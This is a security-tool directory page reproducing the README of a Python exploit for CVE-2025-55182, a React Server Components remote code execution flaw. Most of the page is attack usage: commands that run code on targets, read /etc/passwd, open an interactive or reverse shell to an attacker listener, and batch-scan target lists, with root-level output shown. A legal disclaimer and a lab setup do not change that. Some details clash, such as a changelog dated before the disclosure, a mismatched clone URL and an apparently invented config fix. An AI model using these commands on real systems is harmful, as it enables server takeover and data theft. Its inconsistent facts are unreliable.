Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-55182_liyon — Python-based exploit for CVE-2025-55182 (React Server Components RCE) with interactive shell, reverse shell, batch scanning, and Docker-based vulnerable environment for authorized security testing. | Kitploit
Tools/GitHubGitHub/hujiaozhuzhu/cve-2025-55182_liyon
Vulnerability ScannersPayload GenerationExploitationShellcodeWeb Application ExploitationPenetration TestingCommand and ControlLearning & EducationRed Teaming
Remote Access Tool
GitHubhujiaozhuzhu/cve-2025-55182_liyon

CVE-2025-55182_liyon

Python-based exploit for CVE-2025-55182 (React Server Components RCE) with interactive shell, reverse shell, batch scanning, and Docker-based vulnerable environment for authorized security testing.

View Repository
35 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2025-55182 - React Server Components RCE

⚠️ Legal Notice: This tool is intended solely for security research, authorized penetration testing, and educational purposes. Using this tool against any system without explicit permission is illegal and unethical.

📋 Overview

CVE-2025-55182 is a critical Remote Code Execution (RCE) vulnerability in React Server Components (RSC) that allows an unauthenticated attacker to execute arbitrary code on the server via malicious JavaScript deserialization.

🎯 Vulnerability Details

AttributeValue
CVE IDCVE-2025-55182
CVSS Score9.8 (Critical)
Attack VectorNetwork
Attack ComplexityLow
Privileges RequiredNone
User InteractionNone
ImpactHigh (Confidentiality, Integrity, Availability)
Affected ComponentReact Server Components (RSC)
Affected VersionsReact 18.x - 19.x (specific builds)
Disclosure DateDecember 3, 2025
CVE AliasReact2Shell

🔍 Technical Details

Root Cause: React Server Components improperly deserialize user-supplied JavaScript objects when processing RSC payloads, allowing an attacker to inject malicious code that is executed on the server.

Attack Vector: Malicious RSC payload in HTTP requests Impact: Unauthenticated remote code execution, server takeover, data leakage

🚀 Features

  • ✅ Single-file Python exploit tool with interactive shell
  • ✅ Automated vulnerability detection
  • ✅ Batch scanning with multithreading
  • ✅ Docker-based vulnerable React environment
  • ✅ Support for multiple payload types
  • ✅ Detailed logging and error handling
  • ✅ Reverse shell establishment
  • ✅ Base64 payload encoding

📦 Installation

root@kitploit:~
# Clone the repository
git clone https://github.com/hujiaozhuzhu/gju.git
cd gju

# Install dependencies
pip install -r requirements.txt

🎯 Usage

Quick Start

root@kitploit:~
# Install dependencies
pip install requests

# Execute a command on the vulnerable target
python exploit/cve_2025_55182.py -u http://127.0.0.1:3000 -c "whoami"

# Interactive shell mode
python exploit/cve_2025_55182.py -u http://127.0.0.1:3000 --shell

Advanced Options

root@kitploit:~
# Custom command
python exploit/cve_2025_55182.py -u http://target.com -c "cat /etc/passwd"

# Establish reverse shell with custom IP/port
python exploit/cve_2025_55182.py -u http://target.com --reverse 192.168.1.5:4444

# Batch scanning
python exploit/batch_scanner.py -f targets.txt

# Verbose mode
python exploit/cve_2025_55182.py -u http://target.com -v

# Custom User-Agent
python exploit/cve_2025_55182.py -u http://target.com --ua "Mozilla/5.0"

🏗️ Setting Up the Target Environment

Using Docker (Recommended)

root@kitploit:~
cd target
docker-compose up -d

Manual Setup

root@kitploit:~
cd target
npm install
npm run dev

Access the vulnerable application: http://localhost:3000

📊 Attack Scenarios

Scenario 1: Command Execution

Execute a single command on the vulnerable server:

root@kitploit:~
python exploit/cve_2025_55182.py -u http://target.com -c "id"

Expected Output:

root@kitploit:~
[+] Vulnerability detection successful: React Server Components RCE
[+] Executing command: id
[+] Response:
uid=0(root) gid=0(root) groups=0(root)

Scenario 2: Interactive Shell

Obtain an interactive shell on the vulnerable server:

root@kitploit:~
python exploit/cve_2025_55182.py -u http://target.com --shell

Features:

  • Tab completion
  • Command history
  • Multiple shell sessions
  • File upload/download

Scenario 3: Reverse Shell

Establish a reverse shell connection:

root@kitploit:~
# On the attacker machine
nc -lvnp 4444

# Run the exploit tool
python exploit/cve_2025_55182.py -u http://target.com --reverse 192.168.1.5:4444

Scenario 4: Batch Scanning

Scan multiple targets for the vulnerability:

root@kitploit:~
# Create a target file
cat > targets.txt << EOF
http://192.168.1.10:3000
http://192.168.1.11:3000
http://192.168.1.12:3000
EOF

# Run the batch scanner
python exploit/batch_scanner.py -f targets.txt

🛡️ Mitigation and Defense

Immediate Actions

  1. Upgrade React

    root@kitploit:~
    npm install react@latest
    # Upgrade to the fixed version
    
  2. Block RSC requests

    root@kitploit:~
    // Temporarily disable RSC
    const config = {
      enableRSC: false
    }
    
  3. WAF Rules

    • Block requests containing RSC patterns
    • Monitor suspicious JavaScript payloads
    • Implement rate limiting on RSC endpoints

Long-Term Fixes

  • Implement input validation for RSC payloads
  • Use sandboxed JavaScript execution
  • Regular security audits
  • Monitor unauthorized RSC access

📚 Documentation

  • Vulnerability Analysis - In-depth technical analysis
  • Usage Guide - Complete usage instructions
  • Defense and Remediation - Security hardening

🧪 Testing

Manual Testing

root@kitploit:~
# Set up the vulnerable environment
cd target && docker-compose up -d

# Test the vulnerability
python exploit/cve_2025_55182.py -u http://localhost:3000 -c "echo 'CVE-2025-55182 RCE confirmed'"

Automated Testing

root@kitploit:~
# Run test suite
python tests/test_exploit.py

🔬 Research References

  • CVE-2025-55182 NVD Entry
  • React Security Advisory
  • Wiz Research Blog
  • Project Zero Analysis

📝 Changelog

v1.0.0 (2025-04-02)

  • Initial release
  • Single-target RCE exploitation
  • Interactive shell mode
  • Reverse shell support
  • Batch scanning
  • Docker vulnerable environment
  • Comprehensive documentation

🎓 Educational Purpose

This tool demonstrates:

  • How RCE vulnerabilities in React work
  • Proper vulnerability exploitation practices
  • Security assessment methodologies
  • Ethical hacking principles

👥 Contributors

  • Security Researcher - Initial implementation

📄 License

This project is licensed under the MIT License - see the LICENSE file for details.

⚠️ Legal and Ethical Statement

Important: This tool is intended solely for educational and authorized security testing purposes.

Legal Requirements

  • Use only on systems you own or have explicit permission to test
  • Comply with all applicable laws and regulations
  • Report vulnerabilities responsibly to vendors
  • Follow responsible disclosure guidelines

Prohibited Actions

  • Unauthorized access to computer systems
  • Targeting systems without permission
  • Using the vulnerability for malicious purposes
  • Disclosing or destroying data

Legal Consequences

  • Criminal charges for unauthorized access
  • Civil liability for damages
  • Potential imprisonment
  • Professional repercussions

By using this tool, you agree to:

  • Comply with all local and international laws
  • Use only for authorized security testing
  • Report discovered vulnerabilities responsibly
  • Not use for malicious or illegal activities

📞 Reporting Vulnerabilities

If you discover this vulnerability in a production system:

  1. Report to the vendor

    • React team: [email protected]
    • Follow responsible disclosure
  2. CVE Assignment

    • Submit to NIST NVD
    • Follow disclosure timeline
  3. Security Community

    • Share findings (after patching)
    • Contribute to security knowledge

Remember: Security research should always be ethical and legal. Use your skills to make the internet safer! 🛡️

Download Tool